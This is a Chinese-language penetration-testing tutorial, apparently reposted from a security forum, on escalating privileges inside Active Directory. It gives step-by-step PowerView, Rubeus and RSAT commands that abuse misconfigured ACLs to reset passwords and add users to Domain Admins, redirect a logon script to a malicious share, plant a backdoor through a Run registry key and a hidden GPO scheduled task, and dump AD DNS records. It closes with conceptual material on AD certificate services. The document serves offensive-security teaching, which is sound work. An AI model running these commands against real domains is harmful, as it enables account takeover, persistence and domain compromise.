内网渗透-活动目录渗透方法上
原文首发在:奇安信攻防社区
https://forum.butian.net/share/3681
内网活动目录利用方法
滥用活动目录ACLs\ACEs权限
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse
https://www.cnblogs.com/nice0e3/p/15879624.html
DACL和ACE是与访问控制相关的概念,常用于操作系统和网络环境中。以下是对它们的详细解释:
-
DACL(Discretionary Access Control List):DACL是一种访问控制列表,用于确定谁可以访问特定对象(如文件、文件夹、注册表项等)。DACL是以访问控制条目(ACE)的形式组成的列表。
-
ACE(Access Control Entry):ACE是DACL中的基本单元,用于授予或拒绝对对象的访问权限。每个ACE定义了一个安全主体(如用户、组、计算机等)以及该安全主体所具有的权限。
在DACL中,每个ACE包含以下信息:
-
安全主体(SID):标识被授权或被拒绝访问权限的用户、组或计算机的唯一标识符。
-
访问权限:表示特定操作或权限(如读取、写入、执行等)。
-
访问掩码:指定了实际授予或拒绝的权限。
-
辅助访问掩码:在某些情况下,用于指定其他条件或限制。
当访问对象时,系统将根据DACL中的ACE进行验证。如果存在与用户身份匹配的ACE,并且该ACE授予了所请求的权限,访问将被允许。如果没有匹配的ACE,或者存在与用户身份匹配的ACE,但是该ACE拒绝了所请求的权限,访问将被拒绝。
域管理员的ACE如下
其中,我们关注的权限为如下几条
-
GenericAll - full rights to the object (add users to a group or reset user's password)
-
GenericWrite - update object's attributes (i.e logon script)
-
WriteOwner - change object owner to attacker controlled user take over the object
-
WriteDACL - modify object's ACEs and give attacker full control right over the object
-
AllExtendedRights - ability to add user to a group or reset password
-
ForceChangePassword - ability to change user's password
-
Self (Self-Membership) - ability to add yourself to a group
-
GenericAll - 对对象拥有完全权限(例如添加用户到组或重置用户密码) 。
-
GenericWrite - 更新对象的属性(例如登录脚本) 。
-
WriteOwner - 修改对象的所有者为攻击者控制的用户,接管该对象 。
-
WriteDACL - 修改对象的ACEs,并授予攻击者对该对象的全部控制权限 。
-
AllExtendedRights - 能够添加用户到组或重置密码 。
-
ForceChangePassword - 能够更改用户的密码 。
-
Self(Self-Membership)- 能够将自己添加到组中。
-
Self-Membership - 这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象),也就是说,某个对象在某个组中是Self-Membership身份。
GenericAll
对用户账户的GenericAll权限
使用PowerView工具,查看用户的GenericAll权限。
powershell -exec bypass
Import-Module .\PowerView.ps1
//获取用户man1的AD对象的访问控制列表(ACL),筛选返回具有"GenericAll"权限的项
Get-ObjectAcl -SamAccountName man1 -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
可以看到spotless用户拥有对delegate的GenericAll权限,那么在已获得spotless用户权限的情况下,我们可以接管delegate用户。
-
**更改密码:**直接修改delegate用户的密码即可。
net user <username><password> /domain
-
**Kerberoasting攻击:**给delegate用户设置SPN,然后通过spotless用户的TGT来请求所有服务的ST,获取到delegate用户的HASH加密的ST,进行破解。
# Set SPN
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
# Get Hash
.\Rubeus.exe kerberoast /user:<username> /nowrap
# Clean SPN
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
https://github.com/ShutdownRepo/targetedKerberoast
python3 targetedKerberoast.py -domain.local -u <username> -p password -v
-
**ASREProast攻击:**可以通过禁用预身份验证来使用户ASREPRoastable ,然后对其进行 ASREProast攻击。
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
对用户组的GenericAll权限
//获取到domain admins组的distinguishedName值
Get-NetGroup "domain admins"
//获取Domain Admins组的ACL
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq " CN=Domain Admins,CN=Users,DC=vvvv1,DC=com"}
发现spotless用户拥有对Domain Admins组的GenericAll权限,可以进行攻击。
将自己(用户spotless)或其他用户添加到Domain Admin组中。
net group "domain admins" spotless /add /domain
也可以使用 Active Directory 或 PowerSploit 模块进行攻击。
# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless
# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
对机器账户或服务账户的GenericAll权限
-
如果对机器账户或服务账户具有GenericAll权限或者GenericWrite权限,可以考虑使用基于资源的约束委派攻击,详情见《内网横向移动-基于资源的约束委派》;
-
对于服务账户也可以考虑上文中的对用户账户的攻击方法;
-
或者使用Shadow Credentials进行攻击;
影子凭证
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials
https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
http://www.hackdig.com/02/hack-599160.htm
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
WriteProperty
对用户组的WriteProperty权限
我们的受控用户对domain admins组有WriteProperty权限。
可以将该用户添加进入domain admins组来提升权限。
powershell -exec bypass
Import-Module .\PowerView.ps1
Add-NetGroupUser -UserName user -GroupName "domain admins" -Domain "vvvv1.com"
Self (Self-Membership)
对用户组的Self (Self-Membership)权限
我们的受控用户对domain admins组有Self (Self-Membership)的权限。
这个权限也是可以将用户添加进入组的权限,可以将该用户添加进入domain admins组来提升权限。
powershell -exec bypass
Import-Module .\PowerView.ps1
Add-NetGroupUser -UserName user -GroupName "domain admins" -Domain "vvvv1.com"
"WriteProperty (Self-Membership)" 和 "Self (Self-Membership)" 都是与自成员(Self-Membership)相关的属性,但它们在含义上有所不同。
-
"WriteProperty (Self-Membership)": 这个属性表示对象能够写入(修改)自身的属性。通常情况下,对象只能修改其他对象的属性,而不能直接修改自己的属性。但当设置了"WriteProperty (Self-Membership)"属性时,对象就可以修改自己的属性。
-
"Self (Self-Membership)": 这个属性表示对象本身是其所在组或集合的成员。它与"WriteProperty (Self-Membership)"属性不同。"Self (Self-Membership)"属性表明对象本身是自己所在组或集合的一个成员,而"WriteProperty (Self-Membership)"属性则表明对象拥有修改自身属性的权限。
总结:也就是说,如果对象类型不是ALL,而是Self-Membership,那么就代表,我们查询的这个用户对象是属于这个用户组的。 其中"WriteProperty (Self-Membership)"属性赋予对象修改自身属性的权限,也就可以将该对象加入组;而"Self (Self-Membership)"属性指示对象本身是其所在组或集合的成员,也可以将该对象加入组。
WriteProperty (Self-Membership)
对用户组的WriteProperty (Self-Membership)权限
我们的受控用户对domain admins组有WriteProperty (Self-Membership)的权限。
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
这个权限也是可以将用户添加进入组的权限,可以将该用户添加进入domain admins组来提升权限。
net group "domain admins" spotless /add /domain
"WriteProperty (Self-Membership)" 和 "Self (Self-Membership)" 都是与自成员(Self-Membership)相关的属性,但它们在含义上有所不同。
-
"WriteProperty (Self-Membership)": 这个属性表示对象能够写入(修改)自身的属性。通常情况下,对象只能修改其他对象的属性,而不能直接修改自己的属性。但当设置了"WriteProperty (Self-Membership)"属性时,对象就可以修改自己的属性。
-
"Self (Self-Membership)": 这个属性表示对象本身是其所在组或集合的成员。它与"WriteProperty (Self-Membership)"属性不同。"Self (Self-Membership)"属性表明对象本身是自己所在组或集合的一个成员,而"WriteProperty (Self-Membership)"属性则表明对象拥有修改自身属性的权限。
总结:也就是说,如果对象类型不是ALL,而是Self-Membership,那么就代表,我们查询的这个用户对象是属于这个用户组的。 其中"WriteProperty (Self-Membership)"属性赋予对象修改自身属性的权限,也就可以将该对象加入组;而"Self (Self-Membership)"属性指示对象本身是其所在组或集合的成员,也可以将该对象加入组。
ForceChangePassword
对用户账户的ForceChangePassword权限
如果我们的所控账户在目标账户的ACL中为"User-Force-Change-Password"对象类型,且具有"ExtendedRight"权限,那么我们可以在不知道用户当前密码的情况下重置用户的密码。
powershell -exec bypass
Import-Module .\PowerView.ps1
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
使用工具PowerView修改密码。
Set-DomainUserPassword -Identity delegate -Verbose
或者使用如下语句
$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
或者总结成单行语句
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
WriteOwner
对用户组的WriteOwner权限
在进行攻击之前,域管理员组Domain Admins的所有者是Domain Admins。
在对某个组的ACE进行枚举之后,如果我们发现一个受我们控制的用户spotless具有"WriteOwner"权限并且该权限适用于"ObjectType:All",那么就可以修改该组的所有者。
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
我们可以将"Domain Admins"对象的所有者更改为我们的用户,这在我们的情况下是"spotless"。需要注意的是,使用"-Identity"指定的SID是"Domain Admins"组的SID。
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
//You can also use the name instad of the SID (HTB: Reel)
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity "spotless"
GenericWrite
GenericWrite也是在Access Mask中进行标识,此权限能够更新目标对象的属性值,可以使用PowerView中的Set-DomainObject方法设置目标属性的值。
对用户账户的GenericWrite权限
Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
所控用户spotless对另一个用户delegate拥有"WriteProperty"权限,且该权限适用于"Script-Path"对象类型。它允许攻击者覆盖delegate用户的登录脚本路径,这意味着下一次当delegate用户登录时,他们的系统将执行我们恶意的脚本。
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
可以看到delegate用户的登录脚本字段在AD中被更新。
对用户组的GenericWrite权限
允许您将新用户(例如您自己)添加为组的成员。与上文中《GenericAll-对用户组的GenericAll权限》操作类似。
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse
# Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
# Add user to group
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
# Check user was added
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
WriteDACL + WriteOwner
如果有一个组为test,你是该组的所有者。
或者使用PowerShell。
([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
您可以使用ADSI(Active Directory Service Interfaces)为自己赋予GenericAll权限。
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
这样意味着您现在完全控制该组。
这实际上意味着您现在可以将新用户添加到该组中。
但是,好像无法使用Active Directory模块和Set-Acl / Get-Acl cmdlets来赋予权限。
$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl
组策略配置(GPO)
GPO是Group Policy Object(组策略对象)的缩写。它是Windows操作系统中的一种管理机制,用于集中管理和配置计算机和用户的操作系统设置。GPO允许系统管理员通过集中的策略定义和管理组织内计算机和用户的行为。
GPO主要用于:
-
配置操作系统设置:可以使用GPO来配置计算机和用户的各种操作系统设置,如安全设置、网络设置、注册表项、文件和文件夹权限等。
-
分发软件安装:可以使用GPO将软件应用程序自动安装在用户或计算机上,从而简化软件部署和更新过程。
-
实施安全策略:可以使用GPO来强制实施安全策略,例如密码策略、帐户锁定策略、防火墙设置等,以增强系统的安全性。
-
管理用户配置:可以使用GPO来管理用户配置,例如映射网络驱动器、配置桌面设置、限制软件使用等。
GPO是通过在Active Directory域环境中创建和链接到特定OU(组织单位)来实现的。管理员可以使用Group Policy Management Console(GPMC)工具来创建、编辑和管理GPO,并将其链接到特定的OU,以便将策略应用于特定的组织单位、用户组或计算机组。
有时候,特定的用户或组可能被授权管理组策略对象,就像"WP"用户一样。
也可以通过PowerView来进行查看。
powershell -exec bypass
Import-Module .\PowerView.ps1
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "VVVV1\WP"}
以下内容显示用户 "OFFENSE\spotless" 具有 WriteProperty、WriteDacl、WriteOwner 等权限,这些权限可能被攻击者利用。
枚举域内所有的GPO。
powershell -exec bypass
Import-Module .\PowerView.ps1
Get-DomainGPO
如果我们想要专门搜索配置错误的 GPO,我们可以像下面这样串联多个来自 PowerSploit 的 cmdlet。
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
给定策略查询对应计算机
Get-NetOU -GUID "{C9F46A61-773B-41A7-8AB0-5C65866D13EC}" | % {Get-NetComputer -ADSpath $_}
给定计算机查询其策略
Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
给定策略查询对应的OU
Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
利用GPO权限进行攻击
-
滥用这种错误配置并进行代码执行的一种方式是通过组策略创建即时计划任务
利用三好学生的PowerShell脚本New-GPOImmediateTask.ps1进行攻击
https://github.com/3gstudent/Homework-of-Powershell/tree/master
由于脚本需要使用到PowerShell中的GroupPolicy模块,因此需要在服务管理器中安装远程服务器管理工具(RSAT)。
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators man1 /add" -GPODisplayName "newGPO" -Verbose
上述操作将用户"spotless"添加到受损系统的本地管理员组。请注意,在执行代码之前,本地管理员组不包含用户"spotless"。
net localgroup administrators
如果我们观察Misconfigured Policy的GPO的计划任务,我们可以看到我们的恶意任务(evilTask)在那里。
以下是由New-GPOImmediateTask创建的XML文件,它代表了我们在GPO中的恶意计划任务。
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
<Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
<Task version="1.3">
<RegistrationInfo>
<Author>NT AUTHORITY\System</Author>
<Description></Description>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\System</UserId>
<RunLevel>HighestAvailable</RunLevel>
<LogonType>S4U</LogonType>
</Principal>
</Principals>
<Settings>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<AllowStartOnDemand>false</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
<RestartOnFailure>
<Interval>PT15M</Interval>
<Count>3</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<Exec>
<Command>cmd</Command>
<Arguments>/c net localgroup administrators spotless /add</Arguments>
</Exec>
</Actions>
<Triggers>
<TimeTrigger>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>
通过滥用GPO(组策略)的用户和组功能,可以实现相同的权限提升。
请注意,在下面的文件中,第6行将用户"spotless"添加到本地管理员组 - 我们可以将用户更改为其他用户,添加另一个用户,甚至将用户添加到另一个组/多个组,因为我们可以修改显示位置的策略配置文件,这是由于GPO委派分配给了我们的用户"spotless"。
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
<Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
<Members>
<Member name="spotless" action="ADD" sid="" />
</Members>
</Properties>
</Group>
</Groups>
另外,我们还可以考虑利用登录/注销脚本、使用注册表进行自动运行、安装.msi文件、编辑服务以及类似的代码执行途径。
-
GroupPolicy 模块
可以使用命令"Get-Module -List -Name GroupPolicy | select -expand ExportedCommands"来检查是否安装了GroupPolicy模块。如果需要,你可以使用命令"Install-WindowsFeature –Name GPMC"作为本地管理员安装它。
创建新的组策略对象(GPO)并将其与OU(组织单位)"Workstations"关联。
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
让位于"Workstations" OU内的计算机创建一个新的注册表键,该键将执行一个后门程序。
在共享文件夹中搜索一个既可以写入又可以被所有受影响的计算机读取的位置。
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
-
-Name "Evil GPO": 指定了要操作的组策略对象的名称为"Evil GPO"。
-
-Context Computer: 指定了操作的上下文为计算机级别的首选项。
-
-Action Create: 指定了创建注册表值。
-
-Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run": 指定了注册表键的路径为"HKLM\Software\Microsoft\Windows\CurrentVersion\Run",即在计算机启动时执行的自动运行程序列表。
-
-ValueName "Updater": 指定了注册表值的名称为"Updater",这将是用于后门执行的程序的标识。
-
-Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe": 指定了注册表值的数据,即要执行的后门程序的命令行。
-
-Type ExpandString: 指定了注册表值的类型为ExpandString,以便正确解释并扩展其中的环境变量。
-
SharpGPOAbuse
https://github.com/FSecureLABS/SharpGPOAbuse
使用工具SharpGPOAbuse进行攻击。但是该工具无法创建GPO,因此我们仍然必须使用RSAT创建GPO或修改我们已经具有写访问权限的GPO。
SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
强制策略更新
之前的恶意GPO更新大约每90分钟重新加载一次。如果您可以访问计算机,您可以使用命令来强制刷新GPO。
gpupdate /force
End
For GPO attacks,I think it have some ways to delve deeper.
These are several articles that can be used for learning.
-
https://xz.aliyun.com/t/7289#toc-0
-
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
-
https://wald0.com/?p=112
-
https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
-
https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
-
https://adsecurity.org/?p=3658
-
https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_
AD DNS Records
默认情况下,Active Directory中的任何用户都可以枚举域或林DNS区域中的所有DNS记录,类似于区域传输(用户可以在AD环境中列出DNS区域的子对象)。
https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/
使用工具adidnsdump可以枚举和导出区域中的所有 DNS 记录,以用于内部网络的侦察目的。
git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install.
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
cat records.csv
在LDAP中查询DNS记录最直接的方式是执行选择所有类别为dnsNode的对象的查询,这些对象代表DNS区域中的条目。但是,当我使用过滤器**(objectClass=dnsNode)**进行查询时,返回的结果非常有限,即使我手动浏览到DNS区域时可以看到更多的记录。
如上图所示,对于几个对象,objectClass是不可见的。这是因为计算机DNS记录的默认权限(我认为其他不通过AD DNS GUI创建的记录也是如此)不允许所有用户查看内容。由于IP地址实际上是作为此对象的属性存储的,因此无法查看这些记录的IP地址。
但是,就像任何用户默认情况下都可以创建新的DNS记录一样,默认情况下任何用户也可以列出DNS区域的子对象。因此,我们知道记录存在,只是无法使用LDAP进行查询。
一旦我们通过LDAP枚举确定记录存在,我们可以直接使用DNS进行查询(因为执行常规的DNS查询不需要特权)。通过这种方式,我们可以解析区域中的所有记录。
使用adidnsdump可以列举DNS区域中的所有记录。
要开始操作,请先使用--print-zones选项显示当前所在域中的区域。这将显示存在哪些区域。并非所有的区域都是有趣的,例如正向、缓存和存根区域并不包含该域的所有记录。如果找到了这些区域,最好查询它们实际所属的域。下面的输出显示我的测试域只有默认的区域。
adidnsdump -u VVVV1\\man1 ldap://10.10.10.10 --print-zones
如果我们在工具中指定区域(或者对于默认区域将其留空),我们将获得所有记录的列表。可以列出但无法读取的记录(称为“隐藏”记录)将显示为问号,因为目前不知道存在哪种类型的记录以及它指向何处。所有记录都保存在名为records.csv的文件中。
要解析未知记录,请指定-r标志,这将为所有未知记录执行A查询(如果您在IPv6网络中,可以在代码中轻松更改为AAAA)。现在许多以前为空的节点突然有了记录。
如果您没有直接连接,而是通过代理进行工作,您可以通过socks代理将工具代理,并使用**--dns-tcp**标志通过TCP执行DNS查询。
adidnsdump -u VVVV1\\man1 ldap://10.10.10.10 --dns-tcp
AD Certificates
https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
https://zhuanlan.zhihu.com/p/402961562
https://blog.csdn.net/heisejiuhuche/article/details/129224570
https://cloud.tencent.com/developer/article/2013603
https://zhuanlan.zhihu.com/p/383587237
https://cloud.tencent.com/developer/article/1937718
https://www.cnblogs.com/mtgold/p/15665575.html
AD Certificates,指的是Active Directory 证书服务。首先我们要了解什么是 Active Directory 证书服务(Active Directory Certificate Service - 以下简称 AD CS)。证书服务,用官方的解释说,是微软的 PKI 系统的实现,早些时候,多用于 Active Directory 内智能卡(smart card)的登录鉴权。发展到现在,已经成为了 AD 环境中各个主体的另外一种鉴权方式(如 Windows Hello For Business)。
这里的证书,指的是 X.509 格式的电子文档,可以被用于加密,信息签名,以及鉴权。在域环境中,这张证书就是将一个主体与其 Public/Private 密钥对绑定。那么,域控就可以使用这个主体的密钥,来决定是否给这个主体分发 TGT。
证书相较于现有的 AD 权限维持或者提权的方式,如增加管理员用户,修改用户密码,黄金、白银票据等,有更加隐秘,更加持久的优势。更加隐秘是因为证书利用相对于其他敏感操作,相对难以被探测和发现(不触及 LSASS 等);更加持久是因为证书的默认过期时间是 5 年,而且不会随着主体密码的改变而失效。
证书的组成部分
-
主题(Subject)- 证书的所有者。
-
公钥(Public Key)- 将主题与单独存储的私钥关联起来。
-
NotBefore 和 NotAfter 日期 - 定义证书的有效期限。
-
序列号(Serial Number)- 由证书颁发机构(CA)分配的证书标识符。
-
颁发者(Issuer)- 标识谁颁发了证书(通常是一个CA)。
-
SubjectAlternativeName - 定义主题可能使用的一个或多个替代名称。
-
基本约束(Basic Constraints)- 识别证书是CA还是终端实体,并在使用证书时是否存在任何限制。
-
扩展密钥用途(EKUs)- 对象标识符(OIDs),用于描述证书的使用方式。也称为 Microsoft 术语中的 Enhanced Key Usage。常见的 EKU OIDs 包括:
-
代码签名(OID 1.3.6.1.5.5.7.3.3)- 证书用于对可执行代码进行签名。
-
加密文件系统(OID 1.3.6.1.4.1.311.10.3.4)- 证书用于加密文件系统。
-
安全电子邮件(1.3.6.1.5.5.7.3.4)- 证书用于加密电子邮件。
-
客户端身份验证(OID 1.3.6.1.5.5.7.3.2)- 证书用于对另一个服务器进行身份验证(例如,对 Active Directory 进行身份验证)。
-
智能卡登录(OID 1.3.6.1.4.1.311.20.2.2)- 证书用于智能卡身份验证。
-
服务器身份验证(OID 1.3.6.1.5.5.7.3.1)- 证书用于识别服务器(例如,HTTPS 证书)。
-
签名算法(Signature Algorithm)- 指定用于签署证书的算法。
-
签名(Signature)- 使用颁发者(例如CA)的私钥对证书体进行签名。
ADCS概念
-
PKI (Public Key Infrastructure) - PKI 是一整套证书签发、管理的系统。主要包括 CA(Certificate Authority),RA(Registration Authority),Certificate Store,and Certificate database
-
Certificate Store - Windows 本地证书存储,请求到的证书将存储在 Certificate Store 中
-
AD CS(Active Directory Certificate Service)- 微软为 AD 环境打造的 PKI 系统,来管理域内的证书签发和鉴权
-
CA(Certificate Authority)- 签发证书的服务
-
Enterprise CA - 与域集成的 CA 系统(通常会被配置在域中单独的服务器上),包含证书签发、证书模板等服务
-
CSR(Certificate Signing Request)- 向 CA 系统发送的证书签发的请求
-
EKU(Extended/Enhanced Key Usage)- Object Identifiers(OIDs),规定了签发证书的用途(是用来加密文件,或者主体鉴权等)
-
SAN(Subject Alternative Name)- 可以为一张证书绑定多个身份信息;比如 HTTPS 证书中就可以绑定多个域名,而不需要为每个域名都单独申请一张证书
-
UPN(User Principal Name)- 域中的证书是与 UPN 绑定的(这张证书是张三的,用于张三同学的鉴权),同时鉴权的主体也是是通过 UPN 来确定的;如果黑客控制了 SAN,在特定情况下,也就能 impersonate 任意用户
-
Principal - 域中的主体,可以是用户,也可以是服务
-
Certificate Template - 证书模板;Enterprise CA 签发的证书都是根据模板来生成;模板包含这张证书的元信息,如签发规则,谁有权限使用这个模板,证书的有效期,证书主体是谁,证书主体如何定义等等;Enterprise CA 会根据这些元信息来决定是否可以签发证书,以及签发什么样的证书
**主题备用名称(Subject Alternative Names,SAN)**是一种X.509v3扩展。它允许将附加身份与证书绑定。例如,如果一个Web服务器托管多个域的内容,每个适用的域都可以包含在SAN中,这样Web服务器只需要一个HTTPS证书。 默认情况下,在基于证书的身份验证期间,AD根据SAN中指定的UPN将证书映射到用户帐户。如果攻击者可以在请求启用客户端身份验证的证书时指定任意的SAN,并且CA使用攻击者提供的SAN创建和签署证书,那么攻击者可以成为域中的任何用户。
AD CS(Active Directory Certificate Services)在CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>容器下定义了AD域信任的CA证书,其目的有四个不同的位置:
-
Certification Authorities容器定义受信任的根CA证书。这些CA位于PKI树层次结构的顶部,并且是AD CS环境中信任的基础。每个CA都表示为容器内的AD对象,其中objectClass设置为certificationAuthority,cACertificate属性包含CA证书的字节。Windows将这些CA证书传播到每台Windows计算机上的可信根证书颁发机构存储区。为了让AD将证书视为受信任的,证书的信任链必须最终以此容器中定义的一个根CA结束。
-
注册服务容器为每个企业CA(即在启用了Enterprise CA角色的AD CS中创建的CA)定义了一个AD对象,具有以下属性:
-
一个pKIEnrollmentService对象类属性
-
包含CA证书字节的cACertificate属性
-
dNSHostName属性设置CA的DNS主机名
-
certificateTemplates字段定义了启用的证书模板。证书模板是CA在创建证书时使用的设置的“蓝图”,包括EKUs、注册权限、证书过期、签发要求和密码设置等。稍后我们将详细讨论证书模板。
在AD环境中,客户端与企业CA进行交互,根据证书模板中定义的设置请求证书。企业CA证书被传播到每台Windows计算机上的Intermediate Certification Authorities证书存储区。
-
NTAuthCertificates AD对象定义了启用对AD的身份验证的CA证书。该对象的objectClass为certificationAuthority,对象的cACertificate属性定义了一组受信任的CA证书。加入AD域的Windows计算机将这些CA传播到每台计算机上的Intermediate Certification Authorities证书存储区。只有由NTAuthCertificates对象定义的一个CA签署了进行身份验证的客户端证书,客户端应用程序才能使用证书进行对AD的身份验证。
-
AIA(Authority Information Access)容器包含中间和交叉CA的AD对象。中间CA是PKI树层次结构中根CA的“子级”,因此该容器存在以帮助验证证书链。与Certification Authorities容器类似,每个CA都表示为AIA容器中的AD对象,其中objectClass属性设置为certificationAuthority,cACertificate属性包含CA证书的字节。这些CA被传播到每台Windows计算机上的Intermediate Certification Authorities证书存储区。
客户端证书请求流程
-
这是从AD CS获取证书的过程。在较高级别上,在注册期间,客户端首先根据注册服务容器中的对象找到一个企业CA。
-
然后,客户端生成一个公私钥对,并将公钥与证书签名请求(CSR)消息一起放置,其中还包括证书的主题和证书模板名称等其他详细信息。
-
然后,客户端使用其私钥对CSR进行签名,并将CSR发送到企业CA服务器。 CA服务器检查客户端是否可以请求证书。如果可以,它将通过查找CSR中指定的证书模板AD对象来确定是否发放证书。 CA将检查证书模板AD对象的权限,以判断验证帐户是否可以获取证书。
-
如果是这样,CA将使用证书模板定义的“蓝图”设置(例如,EKUs、加密设置和发行要求),并根据CSR中提供的其他信息(如果证书的模板设置允许)生成证书。 CA使用自己的私钥对证书进行签名,然后将其返回给客户端。
证书模板
